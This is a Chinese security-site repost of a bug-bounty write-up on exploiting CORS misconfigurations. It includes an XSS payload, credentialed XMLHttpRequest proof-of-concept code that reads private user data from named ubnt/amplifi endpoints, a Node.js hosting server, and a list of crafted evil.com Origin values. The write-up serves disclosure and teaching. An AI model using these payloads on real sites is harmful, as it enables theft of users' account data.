歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

CORS(跨域資源共享)錯誤配置漏洞的高級利用

來源:本站整理 作者:佚名 時間:2019-06-05 TAG: 我要投稿

嗨,大家好!我是來自摩洛哥的安全研究員Ayoub。本文我將為大家介紹兩種CORS錯誤配置漏洞利用的情況:第一種情況是基于XSS,第二種情況是基于高級的CORS利用技術。

注意:在開始閱讀本文之前,你需要基本了解CORS是什么以及如何利用其錯誤配置漏洞。這里有一些很很不錯的文章你可以參閱學習:

Portswigger’s Post

Geekboy’s Post

第一種情況
易受攻擊端點
大約一年多前,我參與了HackerOne的私人項目。在HTTP請求中使用Origin標頭后,我檢查了服務器響應以確定它們是否進行了域白名單檢查,最終我發現應用程序只是將子域列入了白名單,甚至是那些并不存在的子域。
出于隱私保護和負責任的披露政策,這里我假設Web應用程序托管在:www.redacted.com
這個CORS配置錯誤看起來如下:
HTTP 請求
GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
HTTP 響應
HTTP/1.1 200 OK
Access-control-allow-credentials: true
 Access-control-allow-origin: evil.redacted.com
此API端點返回用戶的私人信息,如全名,電子郵件地址等。
想要濫用這種錯誤配置并執行攻擊,如泄露用戶的私人信息,我們需要聲明一個廢棄的子域(子域名接管),或在其中一個現有子域中找到XSS
范圍之外的思考
想找到一個廢棄的子域并不容易,所以我決定還是在一個現有的子域中找到XSS。但是,該私有程序的范圍僅限于:www.redacted.com,這意味著在其他子域中查找XSS肯定不在其范圍內,但是將該XSS與CORS錯誤配置鏈接在某種程度上來說應該算是在范圍之內的。對吧?
并且由于其他子域不在范圍內,因此其他黑客也就不會測試它們,這樣一來我在這些子域上找到XSS的概率就非常大了!
如我所料,在不到一小時的時間里,我就在banques.redacted.com上發現了一個XSS,使用的payload如下:
https://banques.redacted.com/choice-quiz?form_banque=">script>alert(document.domain)script>&form_cartes=73&iframestat=1

現在,是時候創建一個PoC,并提交報告了!
利用再現:
要利用此CORS配置錯誤漏洞,我們只需使用以下代碼替換payload alert(document.domain):
function cors() { 
var xhttp = new XMLHttpRequest(); 
xhttp.onreadystatechange = function() {   
    if (this.status == 200) {   
    alert(this.responseText);    
    document.getElementById("demo").innerHTML = this.responseText;   
    } 
}; 
xhttp.open("GET", "https://www.redacted.com/api/return", true); 
xhttp.withCredentials = true; 
xhttp.send();
}
cors();
就像這樣:
https://banques.redacted.com/choice-quiz?form_banque=">function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();&form_cartes=73&iframestat=1
現在,我們擁有了一個非常好用的PoC:

獎勵

現在,如果我告訴你,你仍然可以濫用該問題而無需在任何現有子域或聲稱已廢棄的子域中找到XSS呢?
這正是我們在第二個案例中將要討論的內容。
第二種情況
易受攻擊端點
這一次,我的任務對象是Ubnt程序,尤其是托管在該網址的應用程序:https://protect.ubnt.com/
按照相同的過程,我確定了CORS配置錯誤,類似于前一種情況,但這次應用程序是從另一個位置獲取用戶的私人信息,一個API托管在:https://client.amplifi.com/api/user/
此應用程序還將任意子域列入了白名單,甚至是不存在的子域。

想要濫用這種CORS錯誤配置,你需要先聲明一個廢棄子域,或在一個現有的子域中找到XSS
因為這是一個公開項目,范圍較廣(所有子域都在范圍內); 因此,找到XSS的可能性也就小了很多,甚至也沒有提到子域名接管漏洞。
那么,是不是我們就沒辦法了呢?
高級 CORS 利用技術
嗯,事實證明,還有另一種方式,但需要滿足一定的條件才行。
這里可以找到一個有趣的研究。顯示可以繞過一些使用域名內特殊字符錯誤實現的控件。
該研究基于以下事實:瀏覽器在發出請求之前并不總是驗證域名。因此,如果使用某些特殊字符,瀏覽器當前可以提交請求,而無需事先驗證域名是否有效和存在。
示例
讓我們嘗試打開一個包含特殊字符的URL,如:http://asdf`+=.withgoogle.com。大多數瀏覽器會在發出任何請求之前驗證域名。
域名withgoogle.com用作演示,因為它具有通配符DNS記錄
Chrome:

Firefox:

Safari:

正如你所看到的,Safari是一個例外,它實際上會發送請求并嘗試加載頁面,這與其他瀏覽器不同。
我們可以使用各種不同的字符,甚至是不可打印的字符:
,&'";!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
此外,Davide Danelon還完成了另一項研究可以在這里找到,表明這些特殊字符的其他子集也可用于其他瀏覽器。

知道了這些后,下面就是利用環節了。讓我們回到易受攻擊的Web應用程序:https://client.amplifi.com/
新方法
在這種情況下,Web應用程序還接受以下Origin *.ubnt.com!.evil.com

不只是字符“!”,還包括以下字符:
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
你現在應該知道了某些瀏覽器(如Safari)接受具有特殊字符的URL,例如:https://zzzz.ubnt.com=.evil.com
因此,如果我們使用通配符DNS記錄設置了一個域:evil.com,允許將所有子域(*.evil.com)指向www.evil.com,它將在類似www.evil.com/cors-poc的頁面中托管一個腳本,該頁面將向易受攻擊的端點發送一個以子域名為起始值的跨域請求。
然后,我們強制讓一個經過身份驗證的用戶打開鏈接:https://zzzz.ubnt.com=.evil.com/cors-poc
從理論上講,我們可以將這個用戶的私人信息泄露出去。
利用再現:
1.首先,設置一個帶有通配符DNS記錄的域,將其指向你的機器,在本例中我使用GoDaddy來托管我的域,配置如下:

2.安裝NodeJS,創建一個新目錄,然后在其中保存以下文件:
serve.js
var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 80
http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
3.在同一目錄中,保存以下內容:
cors.html
html>
head>title>CORStitle>head>
body onload="cors();">
center>
cors proof-of-concept:br>br>
textarea rows="10" cols="60" id="pwnz">
textarea>br>
div>
script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
script>
4.通過運行以下命令啟動NodeJS服務器:
node serve.js &
5.現在,登錄到https://protect.ubnt.com/,并檢查你是否可以從端點檢索你的帳戶信息:https://client.amplifi.com/api/user/
6.最后,在Safari瀏覽器中打開鏈接:https://zzzz.ubnt.com=.evil.com/cors-poc。
在我的例子中,我使用iPhone中的Safari瀏覽器作為PoC,因為我沒有Mac電腦。

獎勵

總結
我相信在Hacker One上你能找到很多有關這類CORS錯誤配置的報告,但只有少數人能夠充分利用它,因為他們的報告中缺少PoC。這就是我分享經驗的原因之一,并同時強調利用此類漏洞的其他技術。
最后,永遠記住,范圍之外的思考可能會帶給你成功。
 

【聲明】:黑吧安全網(http://www.pcpbjo.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        云南快乐十分前三电视